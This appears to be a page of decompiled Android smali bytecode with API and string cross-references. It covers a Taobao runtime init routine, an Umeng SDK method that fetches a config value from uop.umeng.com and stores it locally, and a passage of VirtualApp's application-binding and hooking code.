                              132const-string v0, "RuntimeUtils"
                              133new-instance v1, Ljava/lang/StringBuilder;
                              135invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              137const-string v2, "- RuntimeUtils init: mEnabled="
                              139invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              140move-result-object v1
                              141iget-boolean v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mEnabled:Z
                              143invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              144move-result-object v1
                              146invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              147move-result-object v1
                              149invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              150sget-boolean v0, Lcom/taobao/android/runtime/VMUtil;->IS_VM_ART:Z
                              151if-eqz v0, :cond_f7
                              153invoke-static {p1, p2}, Lcom/taobao/android/dex/interpret/ARTUtils;->init(Landroid/content/Context;Z)Z
                              154move-result v0
                              156invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              157move-result-object v0
                              158goto_d6:
                              159const-string v1, "init"
                              161invoke-direct {p0, v1, v0}, Lcom/taobao/android/runtime/AndroidRuntime;->trace(Ljava/lang/String;Ljava/lang/Boolean;)V
                              163const-string v1, "RuntimeUtils"
                              164new-instance v2, Ljava/lang/StringBuilder;
                              166invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              168const-string v3, "- RuntimeUtils init: success="
                              170invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              171move-result-object v2
                              173invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              174move-result-object v0
                              176invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              177move-result-object v0
                              179invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              180return-void
                              181cond_f4: move v0, v1
                              182goto/16 :goto_5f
                              183cond_f7:
                              184invoke-static {}, Lcom/taobao/android/runtime/DalvikUtils;->init()Z
                              185move-result v0
                              187invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              188move-result-object v0
                              189goto/16 :goto_d6
                              Cross References
                              APIs
                              • java.security.KeyStore.getDefaultType
                              • java.security.KeyStore.getInstance
                              • java.security.KeyStore.load
                              • b.a.ab.<init>
                              • org.apache.http.conn.ssl.SSLSocketFactory.STRICT_HOSTNAME_VERIFIER:Lorg/apache/http/conn/ssl/X509HostnameVerifier
                              • org.apache.http.conn.ssl.SSLSocketFactory.setHostnameVerifier
                              • org.apache.http.client.methods.HttpGet.<init>
                              • org.apache.http.params.BasicHttpParams.<init>
                              • org.apache.http.HttpVersion.HTTP_1_1:Lorg/apache/http/HttpVersion
                              • org.apache.http.params.HttpProtocolParams.setVersion
                              • org.apache.http.params.HttpProtocolParams.setContentCharset
                              • org.apache.http.params.HttpProtocolParams.setUseExpectContinue
                              • org.apache.http.conn.params.ConnManagerParams.setTimeout
                              • org.apache.http.params.HttpConnectionParams.setConnectionTimeout
                              • org.apache.http.params.HttpConnectionParams.setSoTimeout
                              • org.apache.http.conn.scheme.SchemeRegistry.<init>
                              • org.apache.http.conn.scheme.PlainSocketFactory.getSocketFactory
                              • org.apache.http.conn.scheme.Scheme.<init>
                              • org.apache.http.conn.scheme.SchemeRegistry.register
                              • org.apache.http.conn.scheme.Scheme.<init>
                              • org.apache.http.conn.scheme.SchemeRegistry.register
                              • org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager.<init>
                              • org.apache.http.impl.client.DefaultHttpClient.<init>
                              • org.apache.http.impl.client.DefaultHttpClient.execute
                              • org.apache.http.HttpResponse.getEntity
                              • org.apache.http.HttpEntity.getContent
                              • java.io.ByteArrayOutputStream.<init>
                              • java.io.InputStream.read
                              • java.io.ByteArrayOutputStream.write
                              • java.io.InputStream.close
                              • java.io.ByteArrayOutputStream.close
                              • java.io.ByteArrayOutputStream.toByteArray
                              • java.lang.String.<init>
                              • android.text.TextUtils.isEmpty
                              • java.lang.String.length
                              • java.lang.String.length
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.putString
                              • android.content.SharedPreferences$Editor.commit
                              • java.io.InputStream.close
                              • java.io.InputStream.close
                              Strings
                              • https://uop.umeng.com
                              • ISO-8859-1
                              • http
                              • https
                              • UTF-8
                              • uopdta
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3invoke-static {}, Ljava/security/KeyStore;->getDefaultType()Ljava/lang/String;
                              4move-result-object v1
                              6invoke-static {v1}, Ljava/security/KeyStore;->getInstance(Ljava/lang/String;)Ljava/security/KeyStore;
                              7move-result-object v1
                              8const/4 v2, 0x0
                              9const/4 v3, 0x0
                              11invoke-virtual {v1, v2, v3}, Ljava/security/KeyStore;->load(Ljava/io/InputStream;[C)V
                              12new-instance v2, Lb/a/ab;
                              14invoke-direct {v2, v1}, Lb/a/ab;-><init>(Ljava/security/KeyStore;)V
                              16sget-object v1, Lorg/apache/http/conn/ssl/SSLSocketFactory;->STRICT_HOSTNAME_VERIFIER:Lorg/apache/http/conn/ssl/X509HostnameVerifier;
                              18invoke-virtual {v2, v1}, Lorg/apache/http/conn/ssl/SSLSocketFactory;->setHostnameVerifier(Lorg/apache/http/conn/ssl/X509HostnameVerifier;)V
                              19new-instance v1, Lorg/apache/http/client/methods/HttpGet;
                              21const-string v3, "https://uop.umeng.com"
                              23invoke-direct {v1, v3}, Lorg/apache/http/client/methods/HttpGet;-><init>(Ljava/lang/String;)V
                              24new-instance v3, Lorg/apache/http/params/BasicHttpParams;
                              26invoke-direct {v3}, Lorg/apache/http/params/BasicHttpParams;-><init>()V
                              28sget-object v4, Lorg/apache/http/HttpVersion;->HTTP_1_1:Lorg/apache/http/HttpVersion;
                              30invoke-static {v3, v4}, Lorg/apache/http/params/HttpProtocolParams;->setVersion(Lorg/apache/http/params/HttpParams;Lorg/apache/http/ProtocolVersion;)V
                              32const-string v4, "ISO-8859-1"
                              34invoke-static {v3, v4}, Lorg/apache/http/params/HttpProtocolParams;->setContentCharset(Lorg/apache/http/params/HttpParams;Ljava/lang/String;)V
                              35const/4 v4, 0x1
                              37invoke-static {v3, v4}, Lorg/apache/http/params/HttpProtocolParams;->setUseExpectContinue(Lorg/apache/http/params/HttpParams;Z)V
                              38const-wide/16 v4, 0x2710
                              40invoke-static {v3, v4, v5}, Lorg/apache/http/conn/params/ConnManagerParams;->setTimeout(Lorg/apache/http/params/HttpParams;J)V
                              41const/16 v4, 0x2710
                              43invoke-static {v3, v4}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V
                              44const/16 v4, 0x2710
                              46invoke-static {v3, v4}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V
                              47new-instance v4, Lorg/apache/http/conn/scheme/SchemeRegistry;
                              49invoke-direct {v4}, Lorg/apache/http/conn/scheme/SchemeRegistry;-><init>()V
                              50new-instance v5, Lorg/apache/http/conn/scheme/Scheme;
                              52const-string v6, "http"
                              54invoke-static {}, Lorg/apache/http/conn/scheme/PlainSocketFactory;->getSocketFactory()Lorg/apache/http/conn/scheme/PlainSocketFactory;
                              55move-result-object v7
                              56const/16 v8, 0x50
                              58invoke-direct {v5, v6, v7, v8}, Lorg/apache/http/conn/scheme/Scheme;-><init>(Ljava/lang/String;Lorg/apache/http/conn/scheme/SocketFactory;I)V
                              60invoke-virtual {v4, v5}, Lorg/apache/http/conn/scheme/SchemeRegistry;->register(Lorg/apache/http/conn/scheme/Scheme;)Lorg/apache/http/conn/scheme/Scheme;
                              61new-instance v5, Lorg/apache/http/conn/scheme/Scheme;
                              63const-string v6, "https"
                              64const/16 v7, 0x1bb
                              66invoke-direct {v5, v6, v2, v7}, Lorg/apache/http/conn/scheme/Scheme;-><init>(Ljava/lang/String;Lorg/apache/http/conn/scheme/SocketFactory;I)V
                              68invoke-virtual {v4, v5}, Lorg/apache/http/conn/scheme/SchemeRegistry;->register(Lorg/apache/http/conn/scheme/Scheme;)Lorg/apache/http/conn/scheme/Scheme;
                              69new-instance v2, Lorg/apache/http/impl/conn/tsccm/ThreadSafeClientConnManager;
                              71invoke-direct {v2, v3, v4}, Lorg/apache/http/impl/conn/tsccm/ThreadSafeClientConnManager;-><init>(Lorg/apache/http/params/HttpParams;Lorg/apache/http/conn/scheme/SchemeRegistry;)V
                              72new-instance v4, Lorg/apache/http/impl/client/DefaultHttpClient;
                              74invoke-direct {v4, v2, v3}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>(Lorg/apache/http/conn/ClientConnectionManager;Lorg/apache/http/params/HttpParams;)V
                              76invoke-virtual {v4, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
                              77move-result-object v1
                              79invoke-interface {v1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
                              80move-result-object v1
                              82invoke-interface {v1}, Lorg/apache/http/HttpEntity;->getContent()Ljava/io/InputStream;
                              83try_end_77: move-result-object v0
                              84if-eqz v0, :cond_cd
                              85try_start_7a: new-instance v1, Ljava/io/ByteArrayOutputStream;
                              87invoke-direct {v1}, Ljava/io/ByteArrayOutputStream;-><init>()V
                              88const/16 v2, 0x400
                              89new-array v2, v2, [B
                              90goto_83:
                              91invoke-virtual {v0, v2}, Ljava/io/InputStream;->read([B)I
                              92move-result v3
                              93const/4 v4, -0x1
                              94if-eq v3, v4, :cond_96
                              95const/4 v4, 0x0
                              97invoke-virtual {v1, v2, v4, v3}, Ljava/io/ByteArrayOutputStream;->write([BII)V
                              98try_end_8e: goto/16 :goto_83
                              99catch_8f: move-exception v1
                              100if-eqz v0, :cond_95
                              101try_start_92:
                              102invoke-virtual {v0}, Ljava/io/InputStream;->close()V
                              103cond_95: return-void
                              104cond_96:
                              105invoke-virtual {v1}, Ljava/io/ByteArrayOutputStream;->close()V
                              106new-instance v2, Ljava/lang/String;
                              108invoke-virtual {v1}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
                              109move-result-object v1
                              111const-string v3, "UTF-8"
                              113invoke-direct {v2, v1, v3}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
                              115invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              116move-result v1
                              117if-nez v1, :cond_cd
                              119invoke-virtual {v2}, Ljava/lang/String;->length()I
                              120move-result v1
                              121if-lez v1, :cond_cd
                              123invoke-virtual {v2}, Ljava/lang/String;->length()I
                              124move-result v1
                              125const/16 v3, 0x32
                              126if-ge v1, v3, :cond_cd
                              128iget-object v1, p0, Lb/a/w;->d:Landroid/content/Context;
                              130invoke-static {v1}, Lb/a/aa;->a(Landroid/content/Context;)Landroid/content/SharedPreferences;
                              131move-result-object v1
                              132if-eqz v1, :cond_cd
                              134invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              135move-result-object v1
                              137const-string v3, "uopdta"
                              139invoke-interface {v1, v3, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                              140move-result-object v1
                              142invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                              143try_end_cd: if-eqz v0, :cond_95
                              144try_start_cf:
                              145invoke-virtual {v0}, Ljava/io/InputStream;->close()V
                              146try_end_d2: goto/16 :goto_95
                              147catch_d3: move-exception v0
                              148goto/16 :goto_95
                              149catchall_d5: move-exception v1
                              150move-object v9, v1
                              151move-object v1, v0
                              152move-object v0, v9
                              153goto_d9: if-eqz v1, :cond_de
                              154try_start_db:
                              155invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                              156goto_de: throw v0
                              157catch_df: move-exception v0
                              158goto/16 :goto_95
                              159catch_e1: move-exception v1
                              160goto/16 :goto_de
                              161catchall_e3: move-exception v1
                              162move-object v9, v1
                              163move-object v1, v0
                              164move-object v0, v9
                              165goto/16 :goto_d9
                              Cross References
                              APIs
                              • com.lody.virtual.client.VClientImpl.setupUncaughtHandler
                              • com.lody.virtual.client.VClientImpl.fixInstalledProviders
                              • java.lang.Exception.<init>
                              • java.lang.Exception.printStackTrace
                              • android.os.Process.killProcess
                              • java.lang.System.exit
                              • com.lody.virtual.client.VClientImpl.TAG:Ljava/lang/String
                              • com.lody.virtual.client.VClientImpl.getVUid
                              • com.lody.virtual.client.VClientImpl.TAG:Ljava/lang/String
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.i
                              • android.os.StrictMode.getThreadPolicy
                              • android.os.StrictMode$ThreadPolicy$Builder.<init>
                              • android.os.StrictMode$ThreadPolicy$Builder.permitNetwork
                              • android.os.StrictMode$ThreadPolicy$Builder.build
                              • android.os.StrictMode.setThreadPolicy
                              • java.lang.Integer.valueOf
                              • com.lody.virtual.client.VClientImpl.startIOUniformer
                              • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                              • com.lody.virtual.client.VClientImpl.createPackageContext
                              • android.content.Context.getCacheDir
                              • java.io.File.getAbsolutePath
                              • java.lang.System.setProperty
                              • android.content.Context.getCodeCacheDir
                              • com.lody.virtual.client.VClientImpl.mBoundApplication:Lcom/lody/virtual/client/VClientImpl$AppBindData
                              • com.lody.virtual.client.VClientImpl.fixBoundApp
                              • com.lody.virtual.client.VClientImpl.mBoundApplication:Lcom/lody/virtual/client/VClientImpl$AppBindData
                              • java.lang.Integer.valueOf
                              • java.lang.Boolean.valueOf
                              • com.lody.virtual.client.VClientImpl.mInitialApplication:Landroid/app/Application
                              • com.lody.virtual.client.VClientImpl.mInitialApplication:Landroid/app/Application
                              • com.lody.virtual.client.VClientImpl.mInitialApplication:Landroid/app/Application
                              • com.lody.virtual.client.VClientImpl.installContentProviders
                              • android.os.ConditionVariable.open
                              • com.lody.virtual.client.VClientImpl.mInstrumentation:Landroid/app/Instrumentation
                              • com.lody.virtual.client.VClientImpl.mInitialApplication:Landroid/app/Application
                              • android.app.Instrumentation.callApplicationOnCreate
                              • java.lang.Throwable.printStackTrace
                              • java.lang.Throwable.printStackTrace
                              • android.content.Context.getCacheDir
                              • com.lody.virtual.client.VClientImpl.mInstrumentation:Landroid/app/Instrumentation
                              • com.lody.virtual.client.VClientImpl.mInitialApplication:Landroid/app/Application
                              • android.app.Instrumentation.onException
                              • java.lang.Exception.printStackTrace
                              Strings
                              • App not exist!
                              • Dex opt skipped.
                              • Binding application
                              • (
                              • )
                              • java.io.tmpdir
                              Position Instruction Meta Information
                              0.prologue
                              1const/16 v6, 0x17
                              2const/16 v4, 0x15
                              3const/4 v9, 0x0
                              4const/4 v8, 0x1
                              5const/4 v7, 0x0
                              6if-nez p2, :cond_a
                              7move-object p2, p1
                              8cond_a: iput-object p3, p0, Lcom/lody/virtual/client/VClientImpl;->mTempLock:Landroid/os/ConditionVariable;
                              9try_start_c:
                              10invoke-direct {p0}, Lcom/lody/virtual/client/VClientImpl;->setupUncaughtHandler()V
                              11try_start_f:
                              12invoke-direct {p0}, Lcom/lody/virtual/client/VClientImpl;->fixInstalledProviders()V
                              13try_end_12:
                              14sget-object v0, Lmirror/android/app/ActivityThread;->mInitialApplication:Lmirror/RefObject;
                              16invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->mainThread()Ljava/lang/Object;
                              17move-result-object v1
                              19invoke-virtual {v0, v1, v9}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              20new-instance v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;
                              22invoke-direct {v1, p0, v9}, Lcom/lody/virtual/client/VClientImpl$AppBindData;-><init>(Lcom/lody/virtual/client/VClientImpl;Lcom/lody/virtual/client/VClientImpl$1;)V
                              24invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              25move-result-object v0
                              27invoke-virtual {v0, p1, v7}, Lcom/lody/virtual/client/core/VirtualCore;->getInstalledAppInfo(Ljava/lang/String;I)Lcom/lody/virtual/remote/InstalledAppInfo;
                              28move-result-object v0
                              29if-nez v0, :cond_3a
                              30new-instance v2, Ljava/lang/Exception;
                              32const-string v3, "App not exist!"
                              34invoke-direct {v2, v3}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V
                              36invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
                              38invoke-static {v7}, Landroid/os/Process;->killProcess(I)V
                              40invoke-static {v7}, Ljava/lang/System;->exit(I)V
                              41cond_3a: iget-boolean v2, v0, Lcom/lody/virtual/remote/InstalledAppInfo;->dependSystem:Z
                              42if-nez v2, :cond_5f
                              43iget-boolean v0, v0, Lcom/lody/virtual/remote/InstalledAppInfo;->skipDexOpt:Z
                              44if-eqz v0, :cond_5f
                              46sget-object v0, Lcom/lody/virtual/client/VClientImpl;->TAG:Ljava/lang/String;
                              48const-string v2, "Dex opt skipped."
                              49new-array v3, v7, [Ljava/lang/Object;
                              51invoke-static {v0, v2, v3}, Lcom/lody/virtual/helper/utils/VLog;->d(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              53invoke-static {}, Lcom/lody/virtual/client/env/VirtualRuntime;->isArt()Z
                              54move-result v0
                              55if-eqz v0, :cond_1e8
                              57invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              58move-result-object v0
                              60invoke-virtual {v0}, Lcom/lody/virtual/client/core/VirtualCore;->getContext()Landroid/content/Context;
                              61move-result-object v0
                              63invoke-static {v0}, Lcom/taobao/android/dex/interpret/ARTUtils;->init(Landroid/content/Context;)Z
                              65invoke-static {v7}, Lcom/taobao/android/dex/interpret/ARTUtils;->setIsDex2oatEnabled(Z)Ljava/lang/Boolean;
                              66cond_5f:
                              67invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              68move-result-object v0
                              69iget v2, p0, Lcom/lody/virtual/client/VClientImpl;->vuid:I
                              71invoke-static {v2}, Lcom/lody/virtual/os/VUserHandle;->getUserId(I)I
                              72move-result v2
                              74invoke-virtual {v0, p1, v7, v2}, Lcom/lody/virtual/client/ipc/VPackageManager;->getApplicationInfo(Ljava/lang/String;II)Landroid/content/pm/ApplicationInfo;
                              75move-result-object v0
                              76iput-object v0, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->appInfo:Landroid/content/pm/ApplicationInfo;
                              77iput-object p2, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->processName:Ljava/lang/String;
                              79invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              80move-result-object v0
                              82invoke-virtual {p0}, Lcom/lody/virtual/client/VClientImpl;->getVUid()I
                              83move-result v2
                              84const/16 v3, 0x80
                              86invoke-virtual {v0, p2, v2, v3}, Lcom/lody/virtual/client/ipc/VPackageManager;->queryContentProviders(Ljava/lang/String;II)Ljava/util/List;
                              87move-result-object v0
                              88iput-object v0, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->providers:Ljava/util/List;
                              90sget-object v0, Lcom/lody/virtual/client/VClientImpl;->TAG:Ljava/lang/String;
                              91new-instance v2, Ljava/lang/StringBuilder;
                              93invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              95const-string v3, "Binding application "
                              97invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              98move-result-object v2
                              100iget-object v3, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->appInfo:Landroid/content/pm/ApplicationInfo;
                              102iget-object v3, v3, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                              104invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              105move-result-object v2
                              107const-string v3, " ("
                              109invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              110move-result-object v2
                              112iget-object v3, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->processName:Ljava/lang/String;
                              114invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              115move-result-object v2
                              117const-string v3, ")"
                              119invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              120move-result-object v2
                              122invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              123move-result-object v2
                              125invoke-static {v0, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                              126iput-object v1, p0, Lcom/lody/virtual/client/VClientImpl;->mBoundApplication:Lcom/lody/virtual/client/VClientImpl$AppBindData;
                              128iget-object v0, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->processName:Ljava/lang/String;
                              130iget-object v2, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->appInfo:Landroid/content/pm/ApplicationInfo;
                              132invoke-static {v0, v2}, Lcom/lody/virtual/client/env/VirtualRuntime;->setupRuntime(Ljava/lang/String;Landroid/content/pm/ApplicationInfo;)V
                              134iget-object v0, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->appInfo:Landroid/content/pm/ApplicationInfo;
                              135iget v0, v0, Landroid/content/pm/ApplicationInfo;->targetSdkVersion:I
                              136const/16 v2, 0x9
                              137if-ge v0, v2, :cond_d4
                              138new-instance v2, Landroid/os/StrictMode$ThreadPolicy$Builder;
                              140invoke-static {}, Landroid/os/StrictMode;->getThreadPolicy()Landroid/os/StrictMode$ThreadPolicy;
                              141move-result-object v3
                              143invoke-direct {v2, v3}, Landroid/os/StrictMode$ThreadPolicy$Builder;-><init>(Landroid/os/StrictMode$ThreadPolicy;)V
                              145invoke-virtual {v2}, Landroid/os/StrictMode$ThreadPolicy$Builder;->permitNetwork()Landroid/os/StrictMode$ThreadPolicy$Builder;
                              146move-result-object v2
                              148invoke-virtual {v2}, Landroid/os/StrictMode$ThreadPolicy$Builder;->build()Landroid/os/StrictMode$ThreadPolicy;
                              149move-result-object v2
                              151invoke-static {v2}, Landroid/os/StrictMode;->setThreadPolicy(Landroid/os/StrictMode$ThreadPolicy;)V
                              152cond_d4: sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                              153if-lt v2, v4, :cond_e7
                              154if-ge v0, v4, :cond_e7
                              156sget-object v2, Lmirror/android/os/Message;->updateCheckRecycle:Lmirror/RefStaticMethod;
                              157new-array v3, v8, [Ljava/lang/Object;
                              159invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              160move-result-object v0
                              161aput-object v0, v3, v7
                              163invoke-virtual {v2, v3}, Lmirror/RefStaticMethod;->call([Ljava/lang/Object;)Ljava/lang/Object;
                              164cond_e7: sget-boolean v0, Lcom/lody/virtual/client/stub/VASettings;->ENABLE_IO_REDIRECT:Z
                              165if-eqz v0, :cond_ee
                              167invoke-direct {p0}, Lcom/lody/virtual/client/VClientImpl;->startIOUniformer()V
                              168cond_ee:
                              169invoke-static {}, Lcom/lody/virtual/client/NativeEngine;->hookNative()V
                              171invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->mainThread()Ljava/lang/Object;
                              172move-result-object v2
                              174invoke-static {}, Lcom/lody/virtual/client/NativeEngine;->startDexOverride()V
                              176iget-object v0, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->appInfo:Landroid/content/pm/ApplicationInfo;
                              178iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                              180invoke-direct {p0, v0}, Lcom/lody/virtual/client/VClientImpl;->createPackageContext(Ljava/lang/String;)Landroid/content/Context;
                              181move-result-object v3
                              183const-string v0, "java.io.tmpdir"
                              185invoke-virtual {v3}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              186move-result-object v4
                              188invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              189move-result-object v4
                              191invoke-static {v0, v4}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              192sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              193if-lt v0, v6, :cond_1f0
                              195invoke-virtual {v3}, Landroid/content/Context;->getCodeCacheDir()Ljava/io/File;
                              196move-result-object v0
                              197goto_115: sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                              198const/16 v5, 0x18
                              199if-ge v4, v5, :cond_1f6
                              201sget-object v4, Lmirror/android/view/HardwareRenderer;->setupDiskCache:Lmirror/RefStaticMethod;
                              202if-eqz v4, :cond_128
                              204sget-object v4, Lmirror/android/view/HardwareRenderer;->setupDiskCache:Lmirror/RefStaticMethod;
                              205new-array v5, v8, [Ljava/lang/Object;
                              206aput-object v0, v5, v7
                              208invoke-virtual {v4, v5}, Lmirror/RefStaticMethod;->call([Ljava/lang/Object;)Ljava/lang/Object;
                              209goto_128: sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                              210if-lt v4, v6, :cond_205
                              212sget-object v4, Lmirror/android/renderscript/RenderScriptCacheDir;->setupDiskCache:Lmirror/RefStaticMethod;
                              213if-eqz v4, :cond_139
                              215sget-object v4, Lmirror/android/renderscript/RenderScriptCacheDir;->setupDiskCache:Lmirror/RefStaticMethod;
                              216new-array v5, v8, [Ljava/lang/Object;
                              217aput-object v0, v5, v7
                              219invoke-virtual {v4, v5}, Lmirror/RefStaticMethod;->call([Ljava/lang/Object;)Ljava/lang/Object;
                              220cond_139:
                              221iget-object v0, p0, Lcom/lody/virtual/client/VClientImpl;->mBoundApplication:Lcom/lody/virtual/client/VClientImpl$AppBindData;
                              223invoke-direct {p0, v0}, Lcom/lody/virtual/client/VClientImpl;->fixBoundApp(Lcom/lody/virtual/client/VClientImpl$AppBindData;)Ljava/lang/Object;
                              224move-result-object v0
                              226iget-object v4, p0, Lcom/lody/virtual/client/VClientImpl;->mBoundApplication:Lcom/lody/virtual/client/VClientImpl$AppBindData;
                              228sget-object v5, Lmirror/android/app/ContextImpl;->mPackageInfo:Lmirror/RefObject;
                              230invoke-virtual {v5, v3}, Lmirror/RefObject;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              231move-result-object v3
                              232iput-object v3, v4, Lcom/lody/virtual/client/VClientImpl$AppBindData;->info:Ljava/lang/Object;
                              234sget-object v3, Lmirror/android/app/ActivityThread$AppBindData;->info:Lmirror/RefObject;
                              236iget-object v4, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->info:Ljava/lang/Object;
                              238invoke-virtual {v3, v0, v4}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              240sget-object v0, Lmirror/dalvik/system/VMRuntime;->setTargetSdkVersion:Lmirror/RefMethod;
                              242sget-object v3, Lmirror/dalvik/system/VMRuntime;->getRuntime:Lmirror/RefStaticMethod;
                              243new-array v4, v7, [Ljava/lang/Object;
                              245invoke-virtual {v3, v4}, Lmirror/RefStaticMethod;->call([Ljava/lang/Object;)Ljava/lang/Object;
                              246move-result-object v3
                              247new-array v4, v8, [Ljava/lang/Object;
                              249iget-object v5, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->appInfo:Landroid/content/pm/ApplicationInfo;
                              250iget v5, v5, Landroid/content/pm/ApplicationInfo;->targetSdkVersion:I
                              252invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              253move-result-object v5
                              254aput-object v5, v4, v7
                              256invoke-virtual {v0, v3, v4}, Lmirror/RefMethod;->call(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              258invoke-static {p1}, Lcom/lody/virtual/client/env/SpecialComponentList;->isConflictingInstrumentation(Ljava/lang/String;)Z
                              259move-result v3
                              260if-nez v3, :cond_178
                              262invoke-static {}, Lcom/lody/virtual/client/core/InvocationStubManager;->getInstance()Lcom/lody/virtual/client/core/InvocationStubManager;
                              263move-result-object v0
                              264const-class v4, Lcom/lody/virtual/client/hook/delegate/AppInstrumentation;
                              266invoke-virtual {v0, v4}, Lcom/lody/virtual/client/core/InvocationStubManager;->checkEnv(Ljava/lang/Class;)V
                              267cond_178:
                              268sget-object v0, Lmirror/android/app/LoadedApk;->makeApplication:Lmirror/RefMethod;
                              270iget-object v4, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->info:Ljava/lang/Object;
                              271const/4 v5, 0x2
                              272new-array v5, v5, [Ljava/lang/Object;
                              274invoke-static {v7}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              275move-result-object v6
                              276aput-object v6, v5, v7
                              277aput-object v9, v5, v8
                              279invoke-virtual {v0, v4, v5}, Lmirror/RefMethod;->call(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              280move-result-object v0
                              281check-cast v0, Landroid/app/Application;
